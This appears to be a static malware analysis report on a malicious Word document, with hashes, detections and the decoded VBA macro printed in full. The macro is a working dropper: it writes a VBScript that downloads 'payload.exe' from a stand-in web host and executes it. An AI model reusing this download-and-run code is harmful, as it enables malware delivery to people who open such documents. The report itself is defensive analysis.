Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3044c4f005575e68…

MALICIOUS

Office (OOXML)

22.0 KB Created: 2020-12-26 18:08:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-12-28
MD5: 797efac5ace07ddb8ef08e373b43e9bf SHA-1: 67c5bc88b73ebe6c38a98b670e376ca48b550451 SHA-256: 3044c4f005575e6855dc42ffb86b2e33bd2e8d5445730843fc8e5fcef61c0127
362 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. These macros utilize WScript.Shell and CreateObject to write a VBScript file to disk and then execute it. The VBScript itself is designed to download a payload from 'http://www.wherever.com/files/payload.exe' to 'C:\Users\Windows\Desktop'. This indicates a dropper functionality, aiming to fetch and execute further malicious content.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "wscript C:\Users\Windows\Desktop\MyTestFile.vbs"
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        fileStream.WriteLine "        objFile.Close( )"
        fileStream.WriteLine "    Set WshShell = WScript.CreateObject(""WScript.Shell"")"
        fileStream.WriteLine "    WshShell.Run ""C:\Users\Windows\Desktop\payload.exe"""
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        fileStream.WriteLine "        objFile.Close( )"
        fileStream.WriteLine "    Set WshShell = WScript.CreateObject(""WScript.Shell"")"
        fileStream.WriteLine "    WshShell.Run ""C:\Users\Windows\Desktop\payload.exe"""
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        fileStream.WriteLine "        Const ForReading = 1, ForWriting = 2, ForAppending = 8"
        fileStream.WriteLine "        Set objFSO = CreateObject( ""Scripting.FileSystemObject"" )"
        fileStream.WriteLine "        If objFSO.FolderExists( myPath ) Then"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.wherever.com/files/payload.exe Referenced by macro
    • http://�www.w�Ze@Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://stackoverflow.com/a/517202/2822719Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3231 bytes
SHA-256: 420c57574fe85c50c5466c4f0b9ce3963f233f8b0a560c6e0cbe5e5712c9b642
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub SaveTextToFile()

    Dim filePath As String
    filePath = "C:\Users\Windows\Desktop\MyTestFile.vbs"

    ' The advantage of correctly typing fso as FileSystemObject is to make autocompletion
    ' (Intellisense) work, which helps you avoid typos and lets you discover other useful
    ' methods of the FileSystemObject
    Dim fso As FileSystemObject
    Set fso = New FileSystemObject
    Dim fileStream As TextStream

    ' Here the actual file is created and opened for write access
    Set fileStream = fso.CreateTextFile(filePath)

    ' Write something to the file
    fileStream.WriteLine "HTTPDownload ""http://www.wherever.com/files/payload.exe"", ""C:\Users\Windows\Desktop"""
    fileStream.WriteLine "    Sub HTTPDownload( myURL, myPath )"
    fileStream.WriteLine "        Dim i, objFile, objFSO, objHTTP, strFile, strMsg"
    fileStream.WriteLine "        Const ForReading = 1, ForWriting = 2, ForAppending = 8"
    fileStream.WriteLine "        Set objFSO = CreateObject( ""Scripting.FileSystemObject"" )"
    fileStream.WriteLine "        If objFSO.FolderExists( myPath ) Then"
    fileStream.WriteLine "            strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, ""/"" ) + 1 ) )"
    fileStream.WriteLine "        ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "" \ "" ) - 1 ) ) Then"
    fileStream.WriteLine "            strFile = myPath"
    fileStream.WriteLine "End If"
    fileStream.WriteLine "        Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )"
    fileStream.WriteLine "        Set objHTTP = CreateObject( ""WinHttp.WinHttpRequest.5.1"" )"
    fileStream.WriteLine "        objHTTP.Open ""GET"", myURL, False"
    fileStream.WriteLine "        objHTTP.Send"
    fileStream.WriteLine "        For i = 1 To LenB( objHTTP.ResponseBody )"
    fileStream.WriteLine "            objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )"
    fileStream.WriteLine "Next"
    fileStream.WriteLine "        objFile.Close( )"
    fileStream.WriteLine "    Set WshShell = WScript.CreateObject(""WScript.Shell"")"
    fileStream.WriteLine "    WshShell.Run ""C:\Users\Windows\Desktop\payload.exe"""
    fileStream.WriteLine "    End Sub"
    ' Close it, so it is not locked anymore
    fileStream.Close

    
    ' Here is another great method of the FileSystemObject that checks if a file exists
    'If fso.FileExists(filePath) Then
        'MsgBox "Yay! The file was created! :D"
    
    

    ' Explicitly setting objects to Nothing should not be necessary in most cases, but if
    ' you're writing macros for Microsoft Access, you may want to uncomment the following
    ' two lines (see https://stackoverflow.com/a/517202/2822719 for details):
    'Set fileStream = Nothing
    'Set fso = Nothing
    
    Shell "wscript C:\Users\Windows\Desktop\MyTestFile.vbs"

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26112 bytes
SHA-256: e9ad954b1fcac92b3b75b41c04570013d51fe88a08582d9fd9375707c8e9f186
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely